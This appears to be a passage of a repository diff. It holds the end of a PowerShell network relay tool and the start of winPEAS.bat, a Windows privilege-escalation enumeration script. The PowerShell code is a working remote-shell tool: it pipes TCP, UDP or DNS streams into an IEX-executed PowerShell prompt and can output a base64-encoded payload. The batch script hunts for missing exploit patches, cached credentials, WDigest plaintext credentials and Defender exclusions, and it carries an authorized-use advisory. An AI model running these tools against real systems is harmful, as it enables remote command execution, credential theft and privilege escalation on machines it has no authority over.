Write-Verbose "Writing input to Stream 1..."
|
||||
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
|
||||
catch{Write-Host "Failed to write input to Stream 1" ; return}
|
||||
}
|
||||
|
||||
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
|
||||
|
||||
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
|
||||
while($True)
|
||||
{
|
||||
try
|
||||
{
|
||||
##### Stream2 Read #####
|
||||
$Prompt = $null
|
||||
$ReturnedData = $null
|
||||
if($CommandToExecute -ne "")
|
||||
{
|
||||
try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
|
||||
catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
|
||||
$Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
|
||||
}
|
||||
$Data += $IntroPrompt
|
||||
$IntroPrompt = $null
|
||||
$Data += $ReturnedData
|
||||
$Data += $Prompt
|
||||
$CommandToExecute = ""
|
||||
##### Stream2 Read #####
|
||||
|
||||
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
|
||||
if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
Write-Verbose "Closing Stream 1..."
|
||||
Stream1_Close $Stream1Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 1"
|
||||
}
|
||||
}
|
||||
}
|
||||
########## POWERSHELL FUNCTIONS ##########
|
||||
|
||||
########## CONSOLE FUNCTIONS ##########
|
||||
function Setup_Console
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
$FuncVars = @{}
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["Output"] = $FuncSetupVars[0]
|
||||
$FuncVars["OutputBytes"] = [byte[]]@()
|
||||
$FuncVars["OutputString"] = ""
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_Console
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
$Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_Console
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
switch($FuncVars["Output"])
|
||||
{
|
||||
"Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
|
||||
"String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
|
||||
"Bytes" {$FuncVars["OutputBytes"] += $Data}
|
||||
}
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_Console
|
||||
{
|
||||
param($FuncVars)
|
||||
if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
|
||||
elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
|
||||
return
|
||||
}
|
||||
########## CONSOLE FUNCTIONS ##########
|
||||
|
||||
########## MAIN FUNCTION ##########
|
||||
function Main
|
||||
{
|
||||
param($Stream1SetupVars,$Stream2SetupVars)
|
||||
try
|
||||
{
|
||||
[byte[]]$InputToWrite = @()
|
||||
$Encoding = New-Object System.Text.AsciiEncoding
|
||||
if($i -ne $null)
|
||||
{
|
||||
Write-Verbose "Input from -i detected..."
|
||||
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
|
||||
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
|
||||
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
|
||||
else{Write-Host "Unrecognised input type." ; return}
|
||||
}
|
||||
|
||||
Write-Verbose "Setting up Stream 1..."
|
||||
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
|
||||
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
|
||||
|
||||
Write-Verbose "Setting up Stream 2..."
|
||||
try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
|
||||
catch{Write-Verbose "Stream 2 Setup Failure" ; return}
|
||||
|
||||
$Data = $null
|
||||
|
||||
if($InputToWrite -ne @())
|
||||
{
|
||||
Write-Verbose "Writing input to Stream 1..."
|
||||
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
|
||||
catch{Write-Host "Failed to write input to Stream 1" ; return}
|
||||
}
|
||||
|
||||
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
|
||||
|
||||
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
|
||||
while($True)
|
||||
{
|
||||
try
|
||||
{
|
||||
$Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
|
||||
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
|
||||
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
#Write-Verbose "Closing Stream 2..."
|
||||
Stream2_Close $Stream2Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 2"
|
||||
}
|
||||
try
|
||||
{
|
||||
#Write-Verbose "Closing Stream 1..."
|
||||
Stream1_Close $Stream1Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 1"
|
||||
}
|
||||
}
|
||||
}
|
||||
########## MAIN FUNCTION ##########
|
||||
|
||||
########## GENERATE PAYLOAD ##########
|
||||
if($u)
|
||||
{
|
||||
Write-Verbose "Set Stream 1: UDP"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
|
||||
if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}
|
||||
else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}
|
||||
}
|
||||
elseif($dns -ne "")
|
||||
{
|
||||
Write-Verbose "Set Stream 1: DNS"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
|
||||
if($l){return "This feature is not available."}
|
||||
else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Set Stream 1: TCP"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
|
||||
if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
|
||||
else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
|
||||
}
|
||||
|
||||
if($e -ne "")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Process"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")
|
||||
$InvokeString += "@('$e')`n`n"
|
||||
}
|
||||
elseif($ep)
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Powershell"
|
||||
$InvokeString += "`n`n"
|
||||
}
|
||||
elseif($r -ne "")
|
||||
{
|
||||
if($r.split(":")[0].ToLower() -eq "udp")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: UDP"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
|
||||
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
if($r.split(":")[0].ToLower() -eq "dns")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: DNS"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){return "This feature is not available."}
|
||||
elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
elseif($r.split(":")[0].ToLower() -eq "tcp")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: TCP"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
|
||||
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Console"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
|
||||
$InvokeString += ("@('" + $o + "')")
|
||||
}
|
||||
|
||||
if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}
|
||||
else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}
|
||||
$InvokeString = ($FunctionString + $InvokeString)
|
||||
########## GENERATE PAYLOAD ##########
|
||||
|
||||
########## RETURN GENERATED PAYLOADS ##########
|
||||
if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
|
||||
elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
|
||||
########## RETURN GENERATED PAYLOADS ##########
|
||||
|
||||
########## EXECUTION ##########
|
||||
$Output = $null
|
||||
try
|
||||
{
|
||||
if($rep)
|
||||
{
|
||||
while($True)
|
||||
{
|
||||
$Output += IEX $InvokeString
|
||||
Start-Sleep -s 2
|
||||
Write-Verbose "Repetition Enabled: Restarting..."
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$Output += IEX $InvokeString
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if($Output -ne $null)
|
||||
{
|
||||
if($of -eq ""){$Output}
|
||||
else{[io.file]::WriteAllBytes($of,$Output)}
|
||||
}
|
||||
}
|
||||
########## EXECUTION ##########
|
||||
}
|
||||
502
win/winPEAS.bat
Normal file
502
win/winPEAS.bat
Normal file
@@ -0,0 +1,502 @@
|
||||
@echo off
|
||||
|
||||
set long=no
|
||||
|
||||
|
||||
echo *((,.,/((((((((((((((((((((/, */
|
||||
echo ,/*,..*(((((((((((((((((((((((((((((((((,
|
||||
echo ,*/((((((((((((((((((/, .*//((//**, .*((((((*
|
||||
echo ((((((((((((((((* *****,,,/########## .(* ,((((((
|
||||
echo (((((((((((/* ******************/####### .(. ((((((
|
||||
echo ((((((..******************/@@@@@/***/######* /((((((
|
||||
echo ,,..**********************@@@@@@@@@@(***,#### ../(((((
|
||||
echo , ,**********************#@@@@@#@@@@*********##((/ /((((
|
||||
echo ..(((##########*********/#@@@@@@@@@/*************,,..((((
|
||||
echo .(((################(/******/@@@@@#****************.. /((
|
||||
echo .((########################(/************************..*(
|
||||
echo .((#############################(/********************.,(
|
||||
echo .((##################################(/***************..(
|
||||
echo .((######################################(************..(
|
||||
echo .((######(,.***.,(###################(..***(/*********..(
|
||||
echo .((######*(#####((##################((######/(********..(
|
||||
echo .((##################(/**********(################(**...(
|
||||
echo .(((####################/*******(###################.((((
|
||||
echo .(((((############################################/ /((
|
||||
echo ..(((((#########################################(..(((((.
|
||||
echo ....(((((#####################################( .((((((.
|
||||
echo ......(((((#################################( .(((((((.
|
||||
echo (((((((((. ,(############################(../(((((((((.
|
||||
echo (((((((((/, ,####################(/..((((((((((.
|
||||
echo (((((((((/,. ,*//////*,. ./(((((((((((.
|
||||
echo (((((((((((((((((((((((((((/"
|
||||
echo by carlospolop
|
||||
echo
|
||||
echo Advisory: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
echo
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] BASIC SYSTEM INFO ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WINDOWS OS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Check for vulnerabilities for the OS version with the applied patches
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits
|
||||
systeminfo
|
||||
echo.
|
||||
wmic qfe get Caption,Description,HotFixID,InstalledOn | more
|
||||
echo.
|
||||
echo.
|
||||
set expl=no
|
||||
for /f "tokens=3-9" %%a in ('systeminfo') do (echo "%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (echo "%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes)
|
||||
IF "%expl%" == "yes" echo [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2592799" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2393802" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB982799" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB979683" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2305420" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB981957" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4013081" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB977165" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB941693" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB920958" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB914389" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB908523" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB890859" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB842526" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB835732" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB841872" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2975684" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3057191" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2989935" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2778930" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2850851" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2870008" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 echo MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu)
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] DATE and TIME ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] You may need to adjust your local date/time to exploit some vulnerability
|
||||
date /T
|
||||
time /T
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Audit Settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Check what is being logged
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WEF Settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Check where are being sent the logs
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] LAPS installed? ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Check what is being logged
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] LSA protection? ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Active if "1"
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Credential Guard? ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Active if "1" or "2"
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WDigest? ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Plain-text creds in memory if "1"
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Number of cached creds ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] You need System to extract them
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CACHEDLOGONSCOUNT
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] UAC Settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Registered Anti-Virus(AV) ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
|
||||
echo.
|
||||
echo.
|
||||
echo Checking for defender whitelisted PATHS
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] PS settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo PowerShell v2 Version:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion
|
||||
echo PowerShell v5 Version:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion
|
||||
echo Transcriptions Settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
|
||||
echo Module logging settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
echo Scriptblog logging settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
echo.
|
||||
echo PS default transcript history
|
||||
dir %SystemDrive%\transcripts\
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] MOUNTED DISKS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Maybe you find something interesting
|
||||
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ENVIRONMENT ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Interesting information?
|
||||
set
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] INSTALLED SOFTWARE ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Some weird software? Check for vulnerabilities in unknow software installed
|
